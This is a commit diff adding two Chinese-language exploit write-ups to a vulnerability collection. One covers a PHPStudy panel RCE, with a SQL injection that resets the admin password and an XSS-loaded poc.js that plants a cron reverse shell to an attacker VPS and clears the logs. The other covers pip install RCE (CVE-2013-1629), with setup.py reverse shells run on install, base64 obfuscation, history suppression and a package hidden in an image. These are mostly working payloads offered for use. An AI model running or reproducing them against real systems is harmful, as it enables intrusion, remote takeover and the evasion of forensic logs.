更新漏洞
@ -280,6 +280,7 @@
|
|||||||
* NPS auth_key 未授权访问漏洞
|
* NPS auth_key 未授权访问漏洞
|
||||||
* OneBlog 小于v2.2.1 远程命令执行漏洞
|
* OneBlog 小于v2.2.1 远程命令执行漏洞
|
||||||
* phpMyAdmin后台SQL注入 CVE-2020-26935
|
* phpMyAdmin后台SQL注入 CVE-2020-26935
|
||||||
|
* PHPStudy 后台管理页面 one click RCE
|
||||||
* PowerJob list 信息泄漏漏洞 CVE-2023-29923
|
* PowerJob list 信息泄漏漏洞 CVE-2023-29923
|
||||||
* Riskscanner list SQL注入漏洞
|
* Riskscanner list SQL注入漏洞
|
||||||
* Roxy-Wi options.py 远程命令执行漏洞 CVE-2022-31137
|
* Roxy-Wi options.py 远程命令执行漏洞 CVE-2022-31137
|
||||||
@ -495,6 +496,7 @@
|
|||||||
|
|
||||||
* GO TLS握手 崩溃漏洞 CVE-2021-34558
|
* GO TLS握手 崩溃漏洞 CVE-2021-34558
|
||||||
* PHP zerodium后门漏洞
|
* PHP zerodium后门漏洞
|
||||||
|
* Python pip install RCE 漏洞 CVE-2013-1629
|
||||||
- 操作系统漏洞
|
- 操作系统漏洞
|
||||||
|
|
||||||
* Linux DirtyPipe权限提升漏洞 CVE-2022-0847
|
* Linux DirtyPipe权限提升漏洞 CVE-2022-0847
|
||||||
|
|||||||
143
Web应用漏洞/PHPStudy 后台管理页面 one click RCE.md
Normal file
@ -0,0 +1,143 @@
|
|||||||
|
# PHPStudy 后台管理页面 one click RCE
|
||||||
|
|
||||||
|
## 漏洞描述
|
||||||
|
|
||||||
|
phpStudy 集安全、高效、功能与一体,已获得全球用户认可安装,运维也高效。支持一键 LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx 反向代理、服务器防火墙、Web 防火墙、监控大屏等服务器管理功能。phpStudy 面板存在存储型 XSS 漏洞,攻击者可以通过 js 调用面板中的计划任务执行系统命令。
|
||||||
|
|
||||||
|
## 影响版本
|
||||||
|
|
||||||
|
```
|
||||||
|
小皮 windows 面板 V0.102 以及以下版本
|
||||||
|
小皮 linux 面板 X1.29 以及以下版本
|
||||||
|
```
|
||||||
|
|
||||||
|
## 漏洞复现
|
||||||
|
|
||||||
|
### 方式 1 SQL 注入
|
||||||
|
|
||||||
|
phpstudy 访问面板登录页面需要添加如下 Headers:
|
||||||
|
|
||||||
|
```
|
||||||
|
x-requested-with: XMLHttpRequest
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
在用户登录处构造 Payload,其中 Password 的值是经过五次 md5 加密后的结果,脚本如下:
|
||||||
|
|
||||||
|
```python
|
||||||
|
import hashlib
|
||||||
|
str = "123456"
|
||||||
|
for i in range(0,5):
|
||||||
|
str = hashlib.md5(str.encode()).hexdigest()
|
||||||
|
print(str)
|
||||||
|
```
|
||||||
|
|
||||||
|
填写 Payload,验证码处需要正确输入:
|
||||||
|
|
||||||
|
```
|
||||||
|
admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
|
||||||
|
```
|
||||||
|
|
||||||
|
虽然提示错误信息,但此时已经成功将用户名/密码修改为: `admin/123456`
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
在后台计划任务处创建一个反弹 shell 脚本,点击执行:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
服务器端监听,成功接收反弹 Shell:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### 方式 2 XSS
|
||||||
|
|
||||||
|
在 VPS 上放置 [poc.js](#漏洞POC),监听 8888 端口,并通过以下命令启动 HTTP 服务:
|
||||||
|
|
||||||
|
```
|
||||||
|
python3 -m http.server 9999
|
||||||
|
```
|
||||||
|
|
||||||
|
在访问面板登录页面用户名处插入 XSS 语句:
|
||||||
|
|
||||||
|
```
|
||||||
|
<script src="http://<your-vps-ip>:9999/poc.js"></script>
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
通过方式 1,已经获得了用户名/密码为 admin/123456,进入后台验证一下计划任务是否成功写入:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
等待 1 分钟,成功接收反弹 Shell:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 漏洞POC
|
||||||
|
|
||||||
|
poc.js:
|
||||||
|
|
||||||
|
```js
|
||||||
|
function exp() {
|
||||||
|
$.ajax({
|
||||||
|
url: '/service/app/tasks.php?type=task_list', //获取计划任务列表
|
||||||
|
type: 'GET',
|
||||||
|
headers:{
|
||||||
|
"X-Requested-With": "XMLHttpRequest"
|
||||||
|
},
|
||||||
|
dataType: 'json',
|
||||||
|
success: function (data) {
|
||||||
|
var id = data.data[0].ID; //任务名称
|
||||||
|
$.ajax({
|
||||||
|
url: '/service/app/tasks.php?type=exec_task', //执行计划任务
|
||||||
|
type: 'POST',
|
||||||
|
headers:{
|
||||||
|
"X-Requested-With": "XMLHttpRequest",
|
||||||
|
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
|
||||||
|
},
|
||||||
|
data: { tid: id },
|
||||||
|
dataType: 'json',
|
||||||
|
success: function (res) {
|
||||||
|
$.ajax({
|
||||||
|
url: '/service/app/log.php?type=clearlog',
|
||||||
|
type: 'POST',
|
||||||
|
data: { type: 'clearlog' },
|
||||||
|
dataType: 'json',
|
||||||
|
success: function (res2) {}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function save() {
|
||||||
|
var data = new Object();
|
||||||
|
data.task_id = '';
|
||||||
|
data.title = 'test';
|
||||||
|
data.exec_cycle = '5';
|
||||||
|
data.week = '1';
|
||||||
|
data.day = '3';
|
||||||
|
data.hour = '1';
|
||||||
|
data.minute = '1';
|
||||||
|
data.shell = 'bash -i >& /dev/tcp/<your-vps-ip>/8888 0>&1';;
|
||||||
|
$.ajax({
|
||||||
|
url: '/service/app/tasks.php?type=save_shell',
|
||||||
|
type: 'POST',
|
||||||
|
headers:{
|
||||||
|
"X-Requested-With": "XMLHttpRequest",
|
||||||
|
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
|
||||||
|
},
|
||||||
|
data: data,
|
||||||
|
dataType: 'json',
|
||||||
|
success: function (res) {
|
||||||
|
exp();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
save();
|
||||||
|
```
|
||||||
|
|
||||||
BIN
Web应用漏洞/images/image-20230519091358703.png
Normal file
|
After Width: | Height: | Size: 203 KiB |
BIN
Web应用漏洞/images/image-20230519092040856.png
Normal file
|
After Width: | Height: | Size: 224 KiB |
BIN
Web应用漏洞/images/image-20230519092608985.png
Normal file
|
After Width: | Height: | Size: 258 KiB |
BIN
Web应用漏洞/images/image-20230519092655024.png
Normal file
|
After Width: | Height: | Size: 144 KiB |
BIN
Web应用漏洞/images/image-20230519094345974.png
Normal file
|
After Width: | Height: | Size: 181 KiB |
BIN
Web应用漏洞/images/image-20230519100003117.png
Normal file
|
After Width: | Height: | Size: 69 KiB |
BIN
Web应用漏洞/images/image-20230519100442704.png
Normal file
|
After Width: | Height: | Size: 175 KiB |
110
开发语言漏洞/Python pip install RCE 漏洞 CVE-2013-1629.md
Normal file
@ -0,0 +1,110 @@
|
|||||||
|
# Python pip install RCE 漏洞 CVE-2013-1629
|
||||||
|
|
||||||
|
## 漏洞描述
|
||||||
|
|
||||||
|
当通过 HTTP 从 Pypi 存储库检索包时,不会检查包内容的完整性。利用这个缺陷,攻击者可以通过 `pip install` 来执行代码。
|
||||||
|
|
||||||
|
参考阅读:
|
||||||
|
|
||||||
|
- https://github.com/0x00-0x00/FakePip
|
||||||
|
- https://www.sourceclear.com/vulnerability-database/security/remote-code-execution-rce-using-pip/python/sid-2098
|
||||||
|
|
||||||
|
## 影响版本
|
||||||
|
|
||||||
|
```
|
||||||
|
pip < 1.3
|
||||||
|
```
|
||||||
|
|
||||||
|
## 漏洞复现
|
||||||
|
|
||||||
|
### 方式1 FakePip
|
||||||
|
|
||||||
|
将 [setup.py](#漏洞POC) 文件下载到远程目标:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ wget http://your-vps-ip/setup.py
|
||||||
|
```
|
||||||
|
|
||||||
|
在 VPS 上监听端口,在远程目标上执行命令:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ mkdir fakepip
|
||||||
|
$ mv setup.py fakepip/
|
||||||
|
$ cd fakepip
|
||||||
|
# sudo /usr/bin/pip install . --upgrade --force-reinstall
|
||||||
|
```
|
||||||
|
|
||||||
|
成功获取反弹 Shell。
|
||||||
|
|
||||||
|
### 方式2 图片马
|
||||||
|
|
||||||
|
将 [setup.py](#漏洞POC) 文件放在文件夹中并压缩命名为,选择一张图片 test.png,制作图片马:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ copy /b test.png + pic.zip pic.png
|
||||||
|
```
|
||||||
|
|
||||||
|
在 VPS 上监听端口,将图片上传至公网图床,复制链接,在远程目标上执行命令:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ pip install " https://<your-img-link>"
|
||||||
|
```
|
||||||
|
|
||||||
|
也将图片可以上传到 VPS,在远程目标上执行命令:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ pip3 install "http://192"."168"."xx"."xxx/pic.png"
|
||||||
|
```
|
||||||
|
|
||||||
|
## 漏洞POC
|
||||||
|
|
||||||
|
方式1 setup.py
|
||||||
|
|
||||||
|
```python
|
||||||
|
from setuptools import setup
|
||||||
|
from setuptools.command.install import install
|
||||||
|
import base64
|
||||||
|
import os
|
||||||
|
|
||||||
|
|
||||||
|
class CustomInstall(install):
|
||||||
|
def run(self):
|
||||||
|
install.run(self)
|
||||||
|
LHOST = 'localhost' # change this
|
||||||
|
LPORT = 13372
|
||||||
|
|
||||||
|
reverse_shell = 'python -c "import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\'{LHOST}\', {LPORT})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"'.format(LHOST=LHOST,LPORT=LPORT)
|
||||||
|
encoded = base64.b64encode(reverse_shell)
|
||||||
|
os.system('echo %s|base64 -d|bash' % encoded)
|
||||||
|
|
||||||
|
|
||||||
|
setup(name='FakePip',
|
||||||
|
version='0.0.1',
|
||||||
|
description='This will exploit a sudoer able to /usr/bin/pip install *',
|
||||||
|
zip_safe=False,
|
||||||
|
cmdclass={'install': CustomInstall})
|
||||||
|
```
|
||||||
|
|
||||||
|
方式2 setup.py
|
||||||
|
|
||||||
|
```python
|
||||||
|
from setuptools import setup
|
||||||
|
import socket,subprocess,os
|
||||||
|
def run():
|
||||||
|
import socket, time,pty, os
|
||||||
|
host='{LHOST}'
|
||||||
|
port='{LPORT}'
|
||||||
|
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||||
|
s.settimeout(10)
|
||||||
|
s.connect((host,port))
|
||||||
|
os.dup2(s.fileno(),0)
|
||||||
|
os.dup2(s.fileno(),1)
|
||||||
|
os.dup2(s.fileno(),2)
|
||||||
|
os.putenv("HISTFILE",'/dev/null')
|
||||||
|
pty.spawn("/bin/bash")
|
||||||
|
s.close()
|
||||||
|
run()
|
||||||
|
|
||||||
|
setup(name="FakePip", version="1.0")
|
||||||
|
```
|
||||||
|
|
||||||